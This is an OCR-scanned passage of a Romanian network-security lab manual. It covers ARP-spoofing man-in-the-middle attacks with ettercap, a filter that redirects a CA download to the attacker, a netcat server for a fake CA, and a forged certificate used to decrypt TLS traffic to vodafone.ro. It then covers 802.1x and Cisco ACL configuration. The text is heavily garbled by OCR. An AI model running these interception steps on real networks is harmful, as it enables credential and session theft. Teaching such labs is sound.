GROUP 2 : 172.31.0.1 08:00:27:A0:B7:50
ctarting Unified sniffing...
Text only Interface activated...
[o.n]
Mon Aug 20 00:04:25 2018 [515966]
08:00:27:34:F7:C5 --> 0B:00:27:1C:B4:D7

172.31.0.100:0 -=-> 172.217.16.92:0 | P (0)
In timp ce atacul este incd in desfisurare, reveniti la sistemul de operare al victimei si inspectati
tabelul ARP. Noua adresd MAC asociati cu gateway-ul implieit ar trebui sa apartind masiit Kali.
student@ubuntu:~3$ arp -n

Address HiWtype HWaddress Flags Mask
Iface

172.31.0.1 ether 0B:00:27:1c:b4:d47 c

enp0s3

172.31.0.101 shlbrer 08:00:27:1c:bd:dv C

enpls3

Pentru a capta traficul de la Kali, trebuie sa adaugam parametrul "w capture.pcap” la comanda

anterioard. Acest lucru va crea un fisier numit “capture.pcap” care poate fi deschis mai tarziu de

Wireshark. Reporniti atacul un ettercap instrui pentru a salva toate datele.

root@kali:~# ettercap =38 -E -T -M ARP:remote -w capture.pcap

717281 0.1000F FLioE™01 44

In timp ce suntem atacati, vom folosi instrumentul “curl” pentru a descirca o pagind web.
root@ubuntu:/# curl http://www.bbc.com/

Dupa descarcarea paginii, putefi opri suita ettercap apasand "¢". Acum, transferafi figierul pe un

dispozitiv cu Wireshark instalat g1 deschideti-1. Apoi1, din Figier selectati Export obiecte s1 faceti clic

pe HTTP. Ar trebui si apara un meniu pop-up care listeaza toate fluxurile HT'TP disponibile. Faceti

clic pe cel care a fost pornit anterior g1 salvati-1.
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Ml iemshre Enpert - HTTP ebject list 1

Packet Hostname Content Type  Size Filenmme

€40 wwawbecom toxtMitml 21548 \

San Sarvat A Closs Help

Fig. 3.8 Wireshark export HT'TP obiecte
Fisierul este salvat in mod implicit fard nicio extensie Addugafi extensia ".html" la acesta si
deschideti-o cu un browser. Ar trebui sd puteti vedea pagina care a fost descircatd pe magina virtuald
Ubuntu. Retineti cd este posibil ca unele imagini sa nu fie afisate din cauza parametrilor lipsa ai
comenzii "curl”,

1C - Hesmep s = it LA
(D ik U swrs b Dicnmionects b hitmi had
W Whiat s kahoo| ¢ pamnde | huni [ e 1 st

Vie've updated our Privacy
and Cookies Policy

BEAE s«o e o | Searen

BEC Homepage

Walcome to BBC.comManday, 20 August

Kerala Mood restue SLe0s Up 85 raing gase

rres verch Seodl et 10 3ty 22 deadly mnaicnenes ssos benty pae

et @5 52 14 PRl i

Riea] Madrhd v @ptale - Corvajs s¢area oppner

A these e mesl pearising bande?
i

The female s arinonists who drew for chamge

Iig. 3.9 Trafic HTTP capturat cu ettercap

3.4 Mitm figier injectie

In acest laborator vom ardta cum si interceptati si s modificati o sesiune HTTP pentru a inlocui un
certificat valid. Mai exact, vom inlocui un link din fisierul Hypertext Markup Language (HIML)
deschis de computerul victimei, astfel incat sa-1 redirectioneze catre un link hacked. Vi rugim sa
retinefi ¢a, in timp ce accentul nostru pe laborator va fi de a instala un certificat de autoritate de
certificare nevalida (CA) pe computerul victimei, tehnica poate fi utilizata pentru orice tip de fisier.
Vom folosi cele trei masini virtuale care se leagd impreund ca in urmatoarea topologie.
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Windows10VM-1 InternetVM-1

Ethernetswitch-1
LA
| [

172.31.0.1/24

2|

172.31.0.103/24
W /

el el

08-00-27-91-DC-F8 08:00:27:30:b7:50

KaliVii-1 172.31.0.101/24
ethD

08:00:27:1c:b4:d7

Fig.3.10 Topologie GNS3 Injectie de figiere

Porniti serviciul apache2 pe magina virtuald Internet utilizind comanda “service apache?2 start”. Pe
aceasta magind am instalat deja o pagind web “varwww/html/certificatel Download. html” care poate
f1 accesatd direct de pe computerul Windows si care contine un link catre un figier valid, numit
"validCA.crt”. Afisati pagina pe Windows accesdnd urmatorul link
“http://172.31.0. LeertificateDownload. html” folosind browserul Google Chrome (Putefr utiliza s1 alt
browser, dar presupunem Firefox Tn aceasta sectiune).

Faceti clic dreapta pe pagina web s1 selectati "Vizualizare sursa pagind” (sau apasati CTRL + U)
pentru a inspecta continutul HTMI, de pe pagini. Cautati ancora HREF in pagina si vedeti ¢a indica
spre adresa IP a maginii virtuale Internet.

A Certifica Downlad b pags 3 MEAEPARSONRHERATIEOENTRET, |- = 0

Cc @ G siew-sourcehtmyF172.31,0.1 feertificateDownload himl - @ i I fm =

flomb: l=fe: ,,
1

</atylex
Z/heads
<hody >
<div olase="woin page 't
<div u].as=="paqe_teacer Iloar lng_alemem.";
vapan closa"Cllalimg = lemea s
Pragticel NEtTOIR Securlty Book - CA Cercificate fowaload
</ =pan=
<fhrr
<div ﬂasr—"c:oncer_':_section rloaung_e'_emenr_">
cliv elass="s=ctinr headsc's
<y 1d="ehanges'EL/div
Flra=as dnwurinsd rhe O mermificans
= dive
“fiv £laga— TOOWCORT_OCIEIcn ToNtT:
<p
Duclog Lhe Lubs s bhis buok we mighl tequice o vulid Public Fey Infessliuctucs. Tu Lhis ead se buve cee
Fleass dowrlosd and tnsva’l the <a QE="heops//172.31.0,1/vallGCh, cEC">CL Cercificaressar and 1peTall 1

<p>
The INfcrmstlch UiThin the certifimesie 13 mg follows:
<oz
“prez
Tercificete:
LELLH
veraion: 1 (Ox0)
Scrinl Mimber:
dd e 5e:87 e 0:hbbb 64
Slunsbuce R1uur LLbo: =Ll 26U LURSALNCL ypLlun
T==us=c: C = RO, 3T = Fucharest, L = Bucharest,
0 = Practleal Meowork Securlty Book.
00 = ¥alid Felrf-Sicnec Certificate Lab,
etailiddress = wiher.chirciules.pub.ro
Walidity
Hot Befor=: huc 22 09:29:47 2016 GHT
Nt after @ dug 21 N9:29:47 2023 GAT
Zubject: C = RO, ST = Bucharest, L = Bucharest,
O = Practical Motwerk Sccurity Book,
o0 = Walild Self-Slenec Certiflicate Lak,
< *

! A | v HighlighUAI Maleh Case b ords Tol Lieich Beachied wp ol g, coutined frum buloon ®

Fig. 3.11 Pagina web sursd HTML
Pentru a schimba DATELE in tranzit in timp ce efectuati un atac man-in-the-middle, aplicatia
"ettercap” utilizeaza un filtru ettercap [13]. In ettercap, filtrarea pachetelor se poate face direct pe
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sarcina utila a cadrului pe care ettercap o intercepteaza. Filtrul este scris infr-o sintaxd asemanatoare
lui C g1 necesitd compilare Thainte de a putea fi utilizat. Urmatorul fragment arati structura filtrului
utilizat si cum si-1 compilati.

root@kali:~# cat certificateInjection.filter

if {(ip.prote == TCP && teop.dst == 80) |
if (search(DATA.data, "Accept-Encoding")) |

replace ("Accept-Encoding”, "Accept-Rubbkish!"];
msg (" remove Accept-Encoding!in"}:

}

}
if {ip.proto == TCP && tcp.src == 80} {

replace (172,81 . 0.1, “172.31. 00101 ;

meg("Replacing Certificate Link Ran.\n");
!
root@kali:~# etterfilter certificatelnjection.filter -o
certificatelnjection.ef
Primul dacd-bloc instruiegte ettercap pentru a modifica antetul "Accept-Encoding” in solicitarea
HTTP cu gunoi. Acest antet este utilizat de citre clienti indicd ce tip de codare de continut permite
[14]. De exemplu, solicitarea HTTP tipicd utilizeaza gzip pentru a comprima datele in tranzit.
Efectuam aceste modificari cu ettercap pentru a-i permite accesul la pagina HTML clard in tranzit,
nu la versiunea comprimata a acesteia. Retineti ¢ad modulul "dezumflare” este responsabil pentru
compresie in Apache [13], pentru acest exercitiu puteti obtine acelasi rezultat prin dezactivarea
modulului de pe masina de Internet.
A doua mstructiune if-block este utilizatd pentru a inlocui adresa IP a maginii virtuale mternet
(172.31.0.1) cu ¢cea a KaliVM (172.31.0.101). Acest lucru ar trebui si fie schimbat in funcfie de
scenariul dvs. Porniti atacul MITM si utilizati filtrul compilat anterior cu urmatoarea comanda.
rootlkall:~#ettercap -T —-F certificateInjection.ef -M ARP:remote -

W capture.pam #172:31.0.103/7 /172.31.0.14/

Utilizafi magina virtuald Windows s1 accesali orice pagind web. Puteti inspecta codul sursd al paginii
HTML descarcate si puteti vedea ci adresa IP a etichetei HREF a fost modificata. Mai mult decat
atat, pe consola KaliVM 1n cazul in care atacul este lansat de la tine ar trebui $d poatd vizualiza clar-
text de trafic HT'TP.

<div olagg="COHLEnt_SecTlon _Text":>
<p>
During the labs in cthisz hook we might reqguire a valid Public Key Infrascructure. To thiz end we have cre
Please downlosd and install the <a [gee=r"hrtp://172.31.0.101/validCA.cec”>CA Certificate</a> snd install

Fig. 3.12 pagina HTML cu adresa IP a hackerului
Dupi ce sesiunea HTTP a victimei a fost modificata, vom fi directionati catre KALI VM pentru
certificatul CA. In acest moment nu existd nici un serviciu de ascultare pe portul 80 care ar putea oferi
figierul pe VM Kali. Executati urmatoarea comanda care va deschide utilitarul neteat pe portul 80 s1
va server un certificat fals. In acest moment artrebui si aveti doui console deschise, una pentru atacul
MITM "ettercap” s1 0 a doua pentru "netcat”.
root@kali:~# { printf 'HTTP/1.0 200 OK\r\nContent-
Type:application/x-zx509%-ca-cert\r\nContent-Length: %d\r\n\ri\n'
"3 we —-c¢ < hackedCA.crt)"; cat hackedChA.crt; } | ne -1 -p &0
Solicitarea se va inchide dupa ce clientul descarci certificatul. Ar trebui sa vedeti urmaitoarea iesire

pe consola.
GET /wvalidCA.crt HTTP/1.1

rmie . s
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Hegts 17830 00610

User-Agent: Mozilla/bh.0 (Windows NT 10.0; WOWad; rv:61.0)
Gecko/20100101 Firefox/61.0

Acoept:
text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://172.31.0.1/certificateDownload.html

Connection: keep-aliwve

Upgrade-Insecure-Regquests: 1

Mai mult decit atat, putefi verifica daca victima Windows descarca certificatul fals selectand butonul
"Vizualizare certificat" dupid finalizarea descarcarii si se afiseaza solicitarea de instalat. Cautati
unitatea organizationald in detaliile certificatului g1 vedeti daci este emisd pentru "Hacked Self-
Signed Certificate Lab".

Certificate Miewer: "lab” X
General Details

Could not verify this cer tificate because the issuer is unknown.

Issued To

Camman Mame (CM) m

Organization (D) Practical Metwork Security Book
Organizational Unit {OU) Hacked Seff-Signed Certificate Lab
Serial Mumber OOET0F0C:3CERCR70:2C
lssued By

Cararnon Narme (CH) *.Iabl

Organization (J) Practical Metwork Security Book

Organizational Unit (OU) Hacked Self-Signed Certificate Lab
Period of Yalidity

Begins On Wednesday, August 22, 2018
Expires On Monday, August 21, 2023
Fingerprints

SHA-256 Fingerprint 63:36:CA: 2B:C7:04:54:30: 13:82:D9: 9F: AE: 5D: C0: 1E:
A3:4F:6A:D9:0B:E5:99:D8:E4:E1: 32: 268: CA: 791 BC:D2

SHAT Fingerprint 03:4E:91:B6:54:9F:ED: TR 82 F C:55:B4 1 T:C 0:F&:05: 84 B 6AUED

Close

Fig. 3.13 Certificat auto-semnat hacked

3.5 TLS MITM

In acest laborator vom detalia un atac impotriva Transport Layer Security (TLS), cunoscut anterior
sub numele de Secure Sockets Layer (SSL), folosind ettercap si 0 abordare Man-in-the-middle. Exista
trei categorii importante de atacuri impotriva protocolului TLS: (1) atacuri de downgrade, (2) atacuri
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criptografice si (3) atacuri MITM. In prima categorie, atacatorul incearcd si inlocuiasci selectia
protocoalelor utilizate de TLS in faza de negociere. Daca au succes, victimele pot ajunge sd utilizeze
un protocol criptografic invechit sau chiar niciunul (in exemplul benzii SSL care incearci si elimine
(S) din HTTPS dintr-o conexiune). Acest lueru poate fi atenuat prin configurarea corecti a serverului
(eliminati algoritmii cripto vechi) si configuratia clientului (fortati intotdeauna TLS).

Atacurile criptografice impotriva TLS utilizeaza atacuri (noi) impotriva algoritmilor utilizai sau
impotriva implementarii lor. Cateva exemple includ atacul BEAST (CVE-2011-3389), atacul PUDEL
(CVE-2014-3566) si Lucky Thirteen: Breaking the TLS and DTLS Record Protocols [30].

In acest laborator vom demonstra un atac MITM impotriva TLS. MITM permite atacatorului si
vizualizeze datele de conversafie intre victime, cu toate acestea, dacid aceastd conversalie este
protejaté folosind TLS (sau alte metode de criptare), datele text clare nu pot 11 recuperate cu usurinta.
Un MITM TLS inlocuieste certificatele utilizate de victime cu unul controlat de hacker, permitandu-
1 astfel sd acceseze datele (dupa decriptare). Vom presupune ci hackerul CA este deja instalat pe
computerul victimei prin alte mijloace (de exemplu, laboratorul de injectare a figsierelor MITM,
phishingul prin e-mail).

Windows10VM-1 InternetVM-1
Ethernetswitch-1
m 172.31.0.103/24 —— &

ed en|
172.31.0.1/24

08-00-27-91-DC-F8 08:00:27:30:b7:50

KalivM-1 172.31.0.101/24
ethD

W
08:00:27:1c:b4:d7

Fig. 3.14 SSL. MITM GNS3 topologie
Pentru atacul MITM TLS trebuie sa permitem ettercap si ruleze ca utilizator ridacind si sa permita
configuratii iptables. Acest lucru este necesar pentru a permite filtrului SSL ettercap si primeasci s1
sd decodeze traficul TLS. Modificati figierul de configurare, "/etc/ettercap/etter.conf", cu
urmatoarcle.

#ec uid = 65534 # nobeody is the default

#ec gid = 65534 # nobody is the default

ec uid = 0

ec_gid = O

# if you use iptables:

redir command on = "iptables -t nat -A PREROUTING -1 %iface -p tep --dport
rt -3 REDIRECT —--toc-port %rport"”
r command off = “iptables -t nat -D PREEROUTING -i %iface -p tecp —-dport

tport -] REDIRECT --to-port Srpart"

Apoi, trebuie sd cream o autoritate de certificare a hackerului, sa o instalam pe computerul client
victima s1 sd generdm un certificat rau intenfionat pentru site-ul web pe care doriti s il atacati. Din
pécate, ettercap va rescrie un certificat valid cu un emitent neschimbat, dar semnat cu cheia CA a
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hackerului. Un astfel de certificat nu va fi acceptat de browserul client, prin urmare, trebuie si cream
un certificat dedicat unui site (sau mai multor site-uri) care va fi utilizat in atacul MI'TM.
Urmatoarele vor crea toate certificatele necesare pe masina virtuala Kali Linux, vizitati laboratorul
de infrastructurd certificat pentru mai multe detalii.

openssl genrsa -—-a=5256 —-out hackerCAR.pem -passout pas
openasl reg -xLH09 -new —-key hackerCA.pem -zhazho —day
-passin pasathackserC: —-config hackerCA.conf

21 reg -oubt hackerServerCertif JuaTP.CSf —new -newksy rs5a:2048 -nodes -

s:hackerCh 2048
265 —out hackerChA.crt

]

opens

keyoubt hackerServerCertificate.pem —config hackerServerCertificate.cnf
openssl =509 —req -in hackerServerCertificate.csr -passin pasa:hackerCh -CA
hackerCh.ocrt -CRkey hackerCA.pem -Choreabeserial —-out

—+

ha:kerServerCertl_‘:at, ki i
hackerServerCertificate.ont
rootlkali:~# cat hackerCA.cnf

—days 365 -extensions v3 req -extfile

[ req ]

default bits = 2048
distinguished name = req distinguished name
prompt = no

req distinguished name ]

. = RO

ST = Bucharest

L. = Bucharest

O = Practical Network Security Bock

QU = Hacked Self-Signed Certificate Lab
CH = *.lab

emailAddress = mihai.chirciulcs.pub.ro

roctlkali:~# cat hackerSsrverCertificate.onf

[ req |

default bits = 2048
distinguished name = reqg distinguished name
req extensions = v3 req

prompt = no

[ req distinguished name ]

& = RO

ST = Bucharest

L = Bucharest

O = Practical MNetwork Security Hook
ou o= %ackﬂr Self-Signed Certificate Lab
N = *.hacker.lab

[ ¥v3_req |

subjectAltName = @alt names

[ alt names ]

DNS.1 = *.veodafone.ro

TEsl = 1¥gedl. Ul

Singurul certificat care necesitdi modificare, Impreund cu chela sa, este certificatul de server care a fost generat
utilizand fisierul de configurare "hackerServerCertificate.cnf”. SubjectAltName in certificat permite addugarea mai
multor domenii, aici vid ardtdm cum si addugali o intrare multi-domeniu pentru {inta noastra, site-ul web
"www.vodafone ro". Pentru diferite site-uri web modificati acest fisier de configurare si executati din nou ultimele
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doud comenzi (generarea CSR s1 semnarea cu CA). Retineti ¢d o intrare de domeniu wildeard mai genericd in
certificat va i respinsi de browserele curente (de exemplu, DNS.1 = * com), chiar daci acest lucru nu este mentionat
in mod explicit in RFC corespunzitor [31].

Retineti cd ne asumim un CA adecvat instalat pe computerul victimel. Inainte de a incepe atacul, deschideti pagina
web "www.vodafonero” din browser si inspectati certificatul acestuia. Cautati cdmpurile Subiect si Emitent in
detalii g1 notati-le In jos. Acestea ar trebui 53 fie emise de o autoritate instalatd In browserul/sistemul dumneavoastra
de operare.

» | Certificate X

General Detalls  Certification Path

Showe: | <all= v|
Field Walue )
|—_:| Version W3
|| Serial number Ddacdad98cfa7s772d0217b50.

_j Signature algorithm shaZ56RSA
|| Signature hash algarithm sha?56
DigiCert SHAZ Secure Server ...

T Walid from Sunday, January 7, 2018 5:00..,
f__‘ij\e'aﬁd to Monday, April 8, 2019 5:00:00
¥ _'] Siikisrk sl woAdaFane ro AVodaFane b

CN = DigiCerk SHAZ Secure Server Ca
O = DigiCerk Inc
C=1LU5

Edit Propeities,.. Copy to File...

Fig. 3.15 Certificatul www vodafone.ro original
Apol, pornifi atacul MITM TLS folosind ettercap. Existd doud optiuni pentru rularea acestul atac cu ettercap: (a)
utilizati ettercap numai pentru atacul MITM s1 redirectionati totul citre o alti tertd parte care se va ocupa de
certificate 51 TLS sau (b) utilizati suportul TLS ettercap Incorporat pentru decriptarea pachetulul. Retineti ca, daca
nu se oferd niciun certificat/cheie privata la linia de comanda, ettercap va ciuta un fisier numit "etter.sslert” si va
crea certificate on-the-fly. Aici, folosim referinte explicite, dar putsti crea si acest fisier in folderul local.
root@kali:~# eftercap -T -M ARP:remaobe —-w mitmtls.pecap ——cerfificate
hackerServerCertificate.crt —--private-key hackerServerCertificate.pem
FL72.031.0:.18357 #1172 03L.0. 157
incercati 58 accesatl din nou pagina web si sd verificati certiticatul acestela. Ar trebui sa fie diferit de cel anterior s1
ar trebui si se potriveasci cu cel creat pe magina hackerului,

[/v,—;rl 2 INTER () (‘I'§
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a  Certificate X

Gereral Details  Certification Path

Showy: . <hll= v. ]
Field Yalue A
|;I‘\falid from Thursday, September 13, 201...
| |valid to Friday, September 13, 2019 3...
|| subject * hacker lab, Hacker Seff-Sign. .
[ |Public key RSA (204 Bits)

|Public key parameters 0500
ject Alternative Narme DNS Mame="vodafone.ro, :
Ij Thurabprink aafchdefenfchldSeesa56191c. .

DNS Mame=* vodafone.ro
1P Address=172.31.0.1

Edit Propertias... | | CopytoFile...

Fig. 3.16 Certificat de www.vodafone.ro riu intentionat
Traficul necriptat va fi afisat numai ca iesire de comanda direct pe consola Kali, aceasta inseamna ¢, dacd Incercati
53 deschideti figierul PCAP creat de comanda anterioard cu Wireshark, nu veti putea citi datele din cadrul acestuia.

§'cm@kai:~ = O "
Lal

Phe Ben C7 23271077 2018 [1£1479]

UDE 172.31.0.103:52553 --» 9.8.9.8:33 1200

wemEn e e e A BB B

Thi Ses 13 23231127 2018 [161&648]

UCE 172.3L.0. 003280777 - 81,12, 232, 1731243 | P (10240

GET /tsviccnaico ZTTL/1.1.

Iozz: wwd.vodzfonsz. ra.

Cornection: kzep-slive.

Pragna:s no-cattie.,

e—Conlools oo-cdcoe,

=&jent: M3z-11a/8.0 (Wondowrz NT 10.7; wWindd: x8d] BppleWebX-tr537.35 (KHTIML, like Gecko)

Aczept: imageswebt,lwagesapng,imsqges*, *r¥ig=0.4.

Referer: https://www.vodafonz.ro/shop/.

feozept-knecding: gzip, doflate, oo,

Aozept Language: =n US ensg-1.9.

Cackier MyYodsfonzZone=Persoral; aam tesTt=s=gS§3I7.5E163: acm_uusd=0004585322615337020C08445958
1 EDCENTEFINLETINNAR-G0000T 1467002 TAR[OR FROOOETE=T: On—anmndnaser ——landi wgFath="othandi wgF=y
ght+Td e Grer =1 on=" 60 2 Gagros pa= T4 GA TR 20 A G TR B4R TR R P NGRS 2CTI0ZR SRR INGR TR s e 5]

Thi Seo 13 23:31::7 2018 [151%00]
UCE 17203L.001052 80777 - dl.0lc. 5321751445 | P (lOozd) |

Fig. 3.17 BEttercap TLS date decriptate

Existi unele probleme care pot apérea atunci cand efectuall un astfel de atac, asigurafi-vi ci selectati adresele TP
corecte ale victimei 1 gateway-ului, asigurati-va ¢d Kali se afla in aceeasi retea, aveli ribdare daci unele imagini
nu se incarcd (acest lucru se datoreazd impactului ridicat al procesorului atunci cind decriptatt TLS prin ettercap).
Unele site-un web au inclus un mecanism de protectie HTTPS mai nou, cum ar {1 Extensia de fixare a chen publice
pentru HTTP [32] sau Autorizarea autorititii de certificare DNS (CAA) [33]. Mai mult decat atat, unele browser-ul
au hardcoded unele certificate de site-ul lui, Puteti utiliza qualvs SSL Server Test instrument online pentru a verifica
orice site web online [34].
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3.6 Autentificare 802.1x

In acest laborator vom permite autentificarea la nivelul doi utilizind protocolul 802.1x [35].
Protocolul se bazeazd pe trei actori majori, un supplicant (care este dispozitivul care necesiti
autentificarea in retea), un autentificator (care este dispozitivul de retea care impune autentificarea)
siun nod de autentificare (serverul care gazduieste baza de date a utilizatorilor s1 parolelor). Supliciul
trimite un nume de utilizator/parola autentificatorului prin protocolul 802.1x (EAPOL), care apoi este
reambalat intr-o noud RAZA/MESAJ care este creat de autentificator si este trimis la serverul de
autentificare. Réaspunsul este intr-un format ACCEPT/REJECT si este trimis de serverul de
autentificare utilizand baza sa de date locala.

In timp ce autentificatorul si dispozitivul de autentificare pot fi, de asemenea, gizduite pe acelasi
dispozitiv fizic (de exemplu, utilizatorii / parolele sunt stocate local). le vom configura pe o magind
diferita, un router Cisco cu un modul de comutare pentru autentificator si InternetVM cu FreeRadius
pentru nodul de autentificare.

Windows10VH-1 InternetVM-1
R1

=R, & < . =
0 - “fojo " e0

Fig. 3.18 802.1x topologie
Inainte de a continua cu configuratia, trebuie si schimbam sloturile routerului implicit (patru interfete
FastEthernet). Schimbati ultimul slot (tre1) de la wtilizarea modulului de interfati NM-1FE-TX la
NM-16ESW (care oferd un modul de comutare a interfefelor 16). Acest lucru este necesar pentru a
permite autentificarea 802.1x.

€ Nieds soporties

R1 configuration

Gorwral | Moworesanddios | Skbs | fevanood

Aaztars

Fig. 3.19 Adaugafi modul de comutare la router
Asigurati-va ca Vm Windows primeste o adresd DHCP de la Internet VM. Apoi, configurati o adresa
IP pe VLANI pentru routerul R1, acest lucru i1 va permite si trimitd mesaje de autentificare catre

serverul FreeRADIUS. Testati conectivitatea locala toate gazdele din reteauva locala.
Rl#sh ip int brief

Interface IEB-Address CK? Method Status
Protocol
Vlanl 17231 Q.2 YES manual up
up
INIG,© " €s
PATRONATULUL ROMAN ?/N‘[ ) LOG v
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Trebuie sd configurdm si sd validim comunicarea RADIUS s1 R1. A adaugat adresa IP a routerului
R1 la configuratia RADIUS sgi 1-a permis sid autentifice clientii. Pentru aceasta, editati fisierul
"/ete/freeradius/3.0/clients.conf™.
root@internet:/etc/freeradius/3.0# tail -3 clients.conf
alient 192:31.0.9/24

secret = thisisasupperpasswaord
}
Pentru a adduga un nume de utilizator si o parold la baza de date RADIUS, puteti utiliza urmatoarea
comanda.
root@internet:/etc/freeradius/3.0# vim users
student Cleartext-Password := "student"®
Apoi, R1 necesitd sd tfie configurat pentru a furmiza autentificarea prin intermediul serverului
RADIUS. Pe un router Cisco / switch acest lucru necesitd pentru a activa modelul AAA (autentificare,
autorizare, contabilitate) la nivel global si configurafi radius-server pentru a f1 intrebat. Retineti cd
aceeasi parola/cheie trebuie si fie adaugata aici ca si cea de pe serverul RADIUS.
Rl [config) #aaa new-model
Rl [config)$#aaa authentication dotlx default group radius local
Rl [config) #dotlx system—auth-control
Rl [config) #radius-gerver host 172.31.0s1 auth-port 1812 acct-port
1813 key thisisasupperpassword
In acest moment, putem testa configuratia de la routerul R1, un nume de utilizator numit "student"
parola "student” ar trebui sa poati si se autentifice.
Rl#test aaa group radius student student new-cade
Trying te authenticate with Server group radius
User successfully authenticated
Pana in acest moment avem doar autentificatorul si dispozitivul de autentificare colaboreazi, trebuie
sd adaugam suportul pentru autentificarea stratului doi g1 sda configurdm solicitantul. Mai intai,
exccutali urmatoarca comanda pe R1 pentru a activa 802.1x pentru interfata conectata la VM
Windows. Retineti ¢d portul ar trebui sa intre in modul dezactivat, deoarece procesul de autentificare
nu a fost trecut.
Rl (config) #interface fastEthernet 3/0
Rl lconfig-1if) #switchport mode access
Rl [config-1if)#switchport access vlan 1
Rl {config=f#s) #dotlx port-control auto
*Mar 1 00:40:38.819:; FLINEFPROTO-5-UPDOWN: Line protocol on
Iritertgcs
Pe partea de tip supplicant, vom folosi VM Windows. Serviciul care se ocupa cu autentificarea 802.1x
se numeste AutoConfig cu fir, asigurati-va ci se exccuti. In al doilea rand, pe proprietitile plicii de
interfatd de retea trebuie si activati autentificarea 802.1x. In exemplul nostru de laborator nu vom
folosi autentificarea serverului, ceea ce Inseamni ca certificatul sau nu va fi validat de client.
Dezactivati-1 din setirile PEAP.
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Protected EAP Properties >

When connecting:

[] werify the server's identity by validating the certificate

Connect to these servers (examples:srvl jsrveZ; Mo srv3h . com):

] b | ~
[1*.lab

[ addTrust External CA Roat

[ Baltimore Cyber Trust Root

1 Certum Ca

] Certum Trusted Metwork Ca

] ©lass 3 Public Primary Certification Authority e
< >

Motifications before connecting:

Tell user iF the server’s [dentity can't be verified

Select Authentication Method:

Secured password (EAP-MSCHAP v2) ~
[]Enable East Reconnect

[] pisconnect if server does not present cryptobinding TLY
[C]Enable Identity Privacy

oK Cancel

Fig. 3.20 Dezactivati validarca serverului
Ultimul pas este sa adiugafi un nume de utilizator si o parold pentru supliciul (student / student)
pentru cazul nostru de utilizare. Windows utilizeazi numele de utilizator si parola computerului local
in mod implicit, trebuie s o schimbam s1 84 o configurdm pe cea personalizatd. Adaugati un utilizator
de utilizat pentru autentificare in fila Setiri suplimentare.

PATRONATULUL ROMAN
HEGIUNEA NOHD-EST

INIG,© e ¢Is

UNILNEA NATIONALA 4 ?N[ LOG

EuroTraining Solution

Pagina nr.: 59



-

<

Instrumente Structurale
2014-2020

UNIUNEA EUROPEANA

Advanced settings X

802, 1% settings

b1Bpecify authentication made:

<

User authentication Replace credentials

[ | Delete credentials for all users

[C]Enable single sign on For this network
Perform immediately before user logon
Perform immediately after user logon

Maxdimum delay (seconds) 10

1k

Allow additional dialogs to be displayed during single
sign an

This network uses separate virtual LANs for machine
and user authentication

Cancel

Fig. 3.21 Autentificareca utilizatorului EAPOL.
Dupa terminarea acestui pas, interfata de pe modulul de comutare ar trebui s fie activata si mesajele
DHCP ar trebui sa poatd trece prin. Verificati ¢ VM Windows poate reinnoi configuratia IP
("ipconfig /renew”) g1 cd interfata este autentificat pe router.

Cap. 4 Protectie firewall

4.1 Filtrarea pachetelor

In acest laborator vom folosi capacititile firewall Cisco IOS pentru a proteja reteaua internd pentru
diferite servicit. Inainte de a incepe, asigurati-va ci toate dispozitivele finale pot accesa Internetul.
Trebuie adiaugata o rutd temporard de la magina de Internet la reteava locald (ultimul IP este cel al

routerului)..
root@internet:/# sudeo ip r a 10.0.0.0/16 via 172.31.0.151
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Ubuntu-1 InternetVM-1
R1
Ty 10.0.12.0/24 DHCP |h72.31.0.0/24 vy
ey o HE
a0 fofo el

10.0.13.0/24

Fig. 4.1 Topologia filtrarii pachetelor
In acest laborator vom filtra traficul pe baza informatiilor din stratul trei si stratul patru. Aplicatiile
de filtrare a pachetelor pot fi utilizate atat pe dispozitivele gazda, cit si pe cele de refea. Folosim un
echipament Cisco pentru a exemplifica modul de blocare a traficului rau intentionat. Va recomandam
ca tnainte de a filtra un pachet sa va asigurati ¢i acesta poate ajunge la destinatie.
O lista de acces standard este utilizatd pentru a bloca traficul pe baza adresei IP sursa din antetul IP.
Acesta poate fi folosit pentru a tdia un dispozitiv din retea daca filtrul este plasat in apropierea sursei
sau poate fi plasat la destinatie pentru a filtra traficul care vine pentru o anumiti gazda sau retele. Un
exemplu este dacd dorim doar ca Ubuntu-1 s4 1asa din retea, putem crea un control al accesului si1 1l
putem plasa pe interfata FastEthernet 1/0 pe routerul R1.
Rl [config) #accegg-1ist 1 permit host 10.0.12.101
Rl (config) #access—-list 1 deny any
Rl (config)#int fa 1/0
Rl (config-if)#ip accesss-group 1 in
Pentru a testa configuratia, addugati o adresa IP secundard pe masina Ubuntu g1 emitefi o comanda
ping utilizand adresa IP configurata.
root@ubuntu:/# ip a a 10.0.12.102/24 dev enpls3
rogt@ubuntu: /#pingr 6.8.8.8 ~T 10.0.12.101
PING 8.8.8.8 (8.8.8.8) from 10.0.12.101 : 56(84}) bytes of data.
bd byteg from 8.8.8.8: icmp seg=1l ttl=116 Time=4%.0 ms
&4 bytes from 8.8.8.8: icmp:seq=2 ttl=116 time=45.2 ms

root@ubuntu:/# ping 8.8.8.8 -I 10.0.12.102
PING B.8.8.8 (8.8.8.8) from 10.0.12.102 : 56(84}) bytes of data.
From 10.0.12.1 icmp seg=l Packet filtered
From@l0.0.12.1 icmp seg=? Packet filtered

Utilizati Wireshark pentru a inspecta tipul de raspuns pe care ruterul il trimite inapoil ca mesaj ci
pachetul a fost blocat de un control de acces. Ar trebui sd vedeti un mesaj ICMP de tip 3, care
informeaza despre o destinatie imposibil de gasit, cu un cod de 13, care sd ateste ci pachetul a fost
"filtrat administrativ".
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O lista extinsd de control al accesului este utilizatd pentru a filtra atat pe adresele sursd IP, cdt si pe
adresele de destinatie, dar si pe protocoalele de nivel superior, cum ar fi GRE, OSPF, ICMP sau TCP
s1 UDP. Acest lucru permite un control mai bun asupra pachetului IP. De exemplu, magina virtuala
Ubuntu utilizeazd adresa IP 8.8.8.8 ca server DNS. Daca doriti sa filtrafi traficul la 8.8.8.8 care nu
este un mesaj DNS, puteti utiliza urmatoarea lista extinsa de control al accesului.
Rl (¢onfig) faccesa-11st 101 permit udp hest 10.0.12.101 host
5.8.8.8 eq 53
Rl (config) #access-1list 101 permit tcp host 10.0.12.101 host
B.8.8.8 eq 53

1 (config) #access-1ist 101 deny ip host 10.0.12.101 host &.848.8
Rl [config) #access—-1ist 101 permit ip any an
Rl (config)#access-1list 101 permit ip any any

o

root@ubuntu:/# ping 8.8.8.8 -I 10.0.12.101

PING 8.8.8.8 (8.8.8.8] from 10.0.12.101 : 56(84} bytes of data.
From 10.0.12.1 icmp geg=]l Packet filtered

